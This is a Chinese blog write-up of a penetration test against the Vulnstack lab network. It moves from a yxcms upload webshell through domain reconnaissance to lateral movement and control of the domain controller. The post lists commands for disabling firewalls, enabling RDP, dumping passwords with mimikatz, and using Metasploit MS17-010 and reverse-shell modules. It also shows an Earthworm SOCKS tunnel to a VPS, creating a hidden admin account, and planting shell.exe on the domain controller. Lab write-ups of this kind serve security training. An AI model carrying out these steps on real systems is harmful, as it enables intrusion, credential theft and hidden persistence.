记一次基础的内网Vulnstack靶机渗透
网络配置
Windows server 2008:VMnet1(仅主机模式),192.168.52.138
Windows 7 x64:VMnet1(仅主机模式),192.168.52.143
VMnet8(NAT), 192.168.192.130
kali:VMnet8(NAT),192.168.192.135
探测外网漏洞
访问外网的win7服务器,直接扫描目录
在beifan.rar中可以发现使用的yxcsm,
查询yxcms的相关漏洞,可以轻松的找到文件上传漏洞
上传的文件位置如下
而另一个目录phpmyadmin
可以用root/root弱口令登录
这里不多赘述,本篇主要学习的是内网渗透的操作
进入内网
信息搜集
上传冰蝎马,拿到webshell后首先进行的是内网的信息收集
命令如下
netstat -ano 显示本机的IP和端口号,通信对象的IP地址和端口号
nmap -sU --script nbstat.nse -p137 c段 -T4 使用nmap进行存活主机探测
net user 查看本机用户列表
net localgroup administrators 本机管理员
query || qwinsta 查看当前在线用户
ipconfig /all 查看本机ip,所在域
route print 打印路由信息
net view 查看局域网内其他主机名
arp -a 查看arp缓存
net start 查看开启了哪些服务
net share 查看开启了哪些共享
net share ipc$ 开启ipc共享
net share c$ 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" 建立c盘共享
dir \\192.168.xx.xx\c$\user 查看192.168.xx.xx c盘user目录下的文件
net config Workstation 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user 查看本机用户列表
net user /domain 查看域用户
net localgroup administrators 查看本地管理员组(通常会有域用户)
net view /domain 查看有几个域
net user 用户名 /domain 获取指定域用户的信息
net group /domain 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain 查看域中某工作组
net group "domain admins" /domain 查看域管理员的名字
net group "domain computers" /domain 查看域中的其他主机名
net group "doamin controllers" /domain 查看域控制器(可能有多台)
netstat -ano | find "3389" 查看3389端口是否开启,若开启可以尝试远程桌面登录(Windows)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 用于开启远程桌面登录
netsh firewall show config 查看防火墙状态
关闭防火墙
netsh firewall set opmode disable Windows Server 2003 系统及之前版本
netsh advfirewall set allprofiles state off Windows Server 2003 之后系统版本
mstsc 远程桌面连接
探测存活主机
查看防火墙状态,以及关闭防火墙
查看3389端口状态,并开启
尝试远程登录,但在这之前需用mimikatz获取密码,有两种方式
-
MSF反弹shell
kali开启监听
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload php/meterpreter/reverse_php payload => php/meterpreter/reverse_php msf exploit(multi/handler) > show options
利用冰蝎发起连接
开启虚拟终端
上传并运行mimikatz
我这里不知道为什么总是连不上,所以我直接使用冰蝎自带的虚拟终端
-
冰蝎虚拟终端
得到密码hongrisec@2018,进行远程连接
横向移动
上传fscan到服务器,并运行
探测到内网三个ip
192.168.52.141
192.168.52.143
192.168.52.138
为了使msf对内网环境路由可达,需要用msf添加路由
meterpreter > run autoroute -s 192.168.52.0/24 查看路由
meterpreter > run autoroute -p 添加路由
再进行漏洞扫描
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
发现漏洞
使用脚本攻击
exploit/windows/smb/ms17_010_psexec
set rhost 192.168.52.141
set lhost 127.0.0.1
set lport 4444
但是没有攻击成功
没关系,之后我们可以尝试直接打开该主机的远程桌面,由于该主机处于内网,我们的攻击机相对之处于外网,无法直接与内网中的主机通信,所以我们需要用Earthworm做Socks5代理作为跳板进入内网获取更多主机。
首先将ew_for_linux64上传至vps中,用于监听内网环境传来的流量(ps.这里需要对文件进行提权)
chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
该命令的意思是添加一个转接隧道,监听8888,把本地1024端口收到的代理请求转交给1080端口,这里1024端口只是用于传输流量。
相当于内网连接vps的8888端口,
ew_for_Win.exe -s rssocks -d 47.93.248.221 -e 8888
既让要连接内网和kali攻击机,需要再kali上配置对vps连接
这里使用proxychain
配置proxychains代理链的配置文件
vim /etc/proxychains4.conf
将代理设置成 vps-IP 的1080端口:socks5 vps-IP 1080
先用auxiliary/admin/smb/ms17_010_command来添加一个用户
创建用户
set command 'net user chenghao$ chenghao@123 /add' # 带$代表创建隐藏用户,为的是不让目标发现咱们
set rhosts 192.168.52.141
run
提升权限
set command net localgroup administrators chenghao$ /add
run
开启远程桌面服务
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
开启端口后远程连接
至于最后的域控,端口打不开,使用c盘共享
net use \\192.168.52.138\c$ "Liu78963" /user:"administrator"
使用dir 就可以查看域控的资源了。
将win7主机上的shell.exe上传到域控上
copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$
制定计划任务定时执行shell
本文作者:vitara
本文链接:https://www.cnblogs.com/vitara/p/17238777.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步